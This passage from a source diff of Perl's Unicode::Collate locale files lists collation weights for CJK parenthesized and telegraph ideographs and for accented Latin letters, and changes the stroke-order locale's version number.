SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 -1F248 ; [*0379.0020.0004][.811B.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 -1F240 ; [*0379.0020.0004][.81FC.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C -1F244 ; [*0379.0020.0004][.8B60.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 -1F246 ; [*0379.0020.0004][.8A91.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 +3220 ; [*0310.0020.0004][.C5CF.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE +3226 ; [*0310.0020.0004][.AE03.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN +3222 ; [*0310.0020.0004][.B35F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE +3228 ; [*0310.0020.0004][.9C92.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE +3221 ; [*0310.0020.0004][.8E0E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO +3224 ; [*0310.0020.0004][.BDF1.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE +3239 ; [*0310.0020.0004][.89B6.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT +323D ; [*0310.0020.0004][.AE82.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE +3241 ; [*0310.0020.0004][.C1F9.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST +3227 ; [*0310.0020.0004][.80C6.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT +3225 ; [*0310.0020.0004][.A49F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX +3238 ; [*0310.0020.0004][.A132.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR +3229 ; [*0310.0020.0004][.B57B.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN +323F ; [*0310.0020.0004][.C10A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE +3234 ; [*0310.0020.0004][.A8EB.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME +323A ; [*0310.0020.0004][.9589.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL +3223 ; [*0310.0020.0004][.B715.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR +322F ; [*0310.0020.0004][.BB2D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH +323B ; [*0310.0020.0004][.C304.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY +3230 ; [*0310.0020.0004][.B272.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN +322A ; [*0310.0020.0004][.CA96.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON +3232 ; [*0310.0020.0004][.C8D2.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE +322D ; [*0310.0020.0004][.A98A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD +3231 ; [*0310.0020.0004][.CF58.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK +322C ; [*0310.0020.0004][.B6BA.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER +322B ; [*0310.0020.0004][.97BC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE +3235 ; [*0310.0020.0004][.B980.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL +323C ; [*0310.0020.0004][.999B.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE +3233 ; [*0310.0020.0004][.B4AC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY +3237 ; [*0310.0020.0004][.CFAD.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION +3240 ; [*0310.0020.0004][.98D6.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL +3242 ; [*0310.0020.0004][.D0D4.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF +3243 ; [*0310.0020.0004][.CE51.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH +3236 ; [*0310.0020.0004][.844F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL +323E ; [*0310.0020.0004][.D0A3.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE +322E ; [*0310.0020.0004][.9B96.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL +3358 ; [.1BB8.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO +33E9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN +32C9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER +3362 ; [.1BB9.0020.0004][.1BB8.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN +33EA ; [.1BB9.0020.0004][.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN +32CA ; [.1BB9.0020.0004][.1BB9.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER +3363 ; [.1BB9.0020.0004][.1BB9.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN +33EB ; [.1BB9.0020.0004][.1BBA.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE +32CB ; [.1BB9.0020.0004][.1BBA.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER +3364 ; [.1BB9.0020.0004][.1BBA.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE +33EC ; [.1BB9.0020.0004][.1BBB.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN +3365 ; [.1BB9.0020.0004][.1BBB.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN +33ED ; [.1BB9.0020.0004][.1BBC.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN +3366 ; [.1BB9.0020.0004][.1BBC.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN +33EE ; [.1BB9.0020.0004][.1BBD.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN +3367 ; [.1BB9.0020.0004][.1BBD.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN +33EF ; [.1BB9.0020.0004][.1BBE.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN +3368 ; [.1BB9.0020.0004][.1BBE.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN +33F0 ; [.1BB9.0020.0004][.1BBF.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN +3369 ; [.1BB9.0020.0004][.1BBF.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN +33F1 ; [.1BB9.0020.0004][.1BC0.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN +336A ; [.1BB9.0020.0004][.1BC0.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN +33F2 ; [.1BB9.0020.0004][.1BC1.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN +336B ; [.1BB9.0020.0004][.1BC1.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN +33E0 ; [.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE +32C0 ; [.1BB9.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY +3359 ; [.1BB9.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE +33F3 ; [.1BBA.0020.0004][.1BB8.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY +336C ; [.1BBA.0020.0004][.1BB8.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY +33F4 ; [.1BBA.0020.0004][.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE +336D ; [.1BBA.0020.0004][.1BB9.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE +33F5 ; [.1BBA.0020.0004][.1BBA.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO +336E ; [.1BBA.0020.0004][.1BBA.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO +33F6 ; [.1BBA.0020.0004][.1BBB.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE +336F ; [.1BBA.0020.0004][.1BBB.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE +33F7 ; [.1BBA.0020.0004][.1BBC.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR +3370 ; [.1BBA.0020.0004][.1BBC.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR +33F8 ; [.1BBA.0020.0004][.1BBD.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE +33F9 ; [.1BBA.0020.0004][.1BBE.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX +33FA ; [.1BBA.0020.0004][.1BBF.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN +33FB ; [.1BBA.0020.0004][.1BC0.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT +33FC ; [.1BBA.0020.0004][.1BC1.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE +33E1 ; [.1BBA.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO +32C1 ; [.1BBA.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY +335A ; [.1BBA.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO +33FD ; [.1BBB.0020.0004][.1BB8.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY +33FE ; [.1BBB.0020.0004][.1BB9.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE +33E2 ; [.1BBB.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE +32C2 ; [.1BBB.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH +335B ; [.1BBB.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE +33E3 ; [.1BBC.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR +32C3 ; [.1BBC.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL +335C ; [.1BBC.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR +33E4 ; [.1BBD.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE +32C4 ; [.1BBD.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY +335D ; [.1BBD.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE +33E5 ; [.1BBE.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX +32C5 ; [.1BBE.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE +335E ; [.1BBE.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX +33E6 ; [.1BBF.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN +32C6 ; [.1BBF.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY +335F ; [.1BBF.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN +33E7 ; [.1BC0.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT +32C7 ; [.1BC0.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST +3360 ; [.1BC0.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT +33E8 ; [.1BC1.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE +32C8 ; [.1BC1.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER +3361 ; [.1BC1.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE +1F241 ; [*0372.0020.0004][.B35F.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 +1F242 ; [*0372.0020.0004][.8E0E.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C +1F247 ; [*0372.0020.0004][.B548.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD +1F243 ; [*0372.0020.0004][.8049.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 +1F245 ; [*0372.0020.0004][.89A6.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 +1F248 ; [*0372.0020.0004][.811B.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 +1F240 ; [*0372.0020.0004][.81FC.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C +1F244 ; [*0372.0020.0004][.8B60.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 +1F246 ; [*0372.0020.0004][.8A91.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 2F00 ; [.C5CF.0020.0004] # KANGXI RADICAL ONE 3192 ; [.C5CF.0020.0014] # IDEOGRAPHIC ANNOTATION ONE MARK 3280 ; [.C5CF.0020.0006] # CIRCLED IDEOGRAPH ONE diff --git a/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl b/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl index 9f28f0a1838c..d222e226d1da 100644 --- a/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl +++ b/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl @@ -1,214 +1,214 @@ use Unicode::Collate::CJK::Stroke; +{ - locale_version => 1.25, + locale_version => 1.19, overrideCJK => \&Unicode::Collate::CJK::Stroke::weightStroke, - entry => <<'ENTRY', # for DUCET v9.0.0 -0101 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON -0100 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON -00E1 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE -00C1 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE -01CE ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON -01CD ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON -00E0 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE -00C0 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE -0113 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON -0112 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON -00E9 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE -00C9 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE -011B ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON -011A ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON -00E8 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE -00C8 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE -00EA 0304 ; [.1CAA.0021.0002] # -00CA 0304 ; [.1CAA.0021.0008] # -0065 0302 0304 ; [.1CAA.0021.0002] # -0045 0302 0304 ; [.1CAA.0021.0008] # -1EBF ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE -1EBE ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE -00EA 0301 ; [.1CAA.0022.0002] # -00EA 0341 ; [.1CAA.0022.0002] # -00CA 0301 ; [.1CAA.0022.0008] # -00CA 0341 ; [.1CAA.0022.0008] # -00EA 030C ; [.1CAA.0023.0002] # -00CA 030C ; [.1CAA.0023.0008] # -0065 0302 030C ; [.1CAA.0023.0002] # -0045 0302 030C ; [.1CAA.0023.0008] # -1EC1 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE -1EC0 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE -00EA 0300 ; [.1CAA.0024.0002] # -00EA 0340 ; [.1CAA.0024.0002] # -00CA 0300 ; [.1CAA.0024.0008] # -00CA 0340 ; [.1CAA.0024.0008] # -00EA ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX -00CA ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX -1EC5 ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE -1EC4 ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE -1EC3 ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC2 ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE -1EC7 ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW -1EC6 ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW -012B ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON -00ED ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE -01D0 ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON -00EC ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE -006D 0304 ; [.1DAA.001C.0002] # -004D 0304 ; [.1DAA.001C.0008] # -1E3F ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE -006D 030C ; [.1DAA.001E.0002] # -004D 030C ; [.1DAA.001E.0008] # -006D 0300 ; [.1DAA.001F.0002] # -006D 0340 ; [.1DAA.001F.0002] # -004D 0300 ; [.1DAA.001F.0008] # -004D 0340 ; [.1DAA.001F.0008] # -006E 0304 ; [.1DB9.001C.0002] # -004E 0304 ; [.1DB9.001C.0008] # -0144 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE -0148 ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON -01F9 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE -014D ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON -00F3 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE -01D2 ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON -00F2 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE -004F 0340 ; [.1DDD.001F.0008] # LATIN 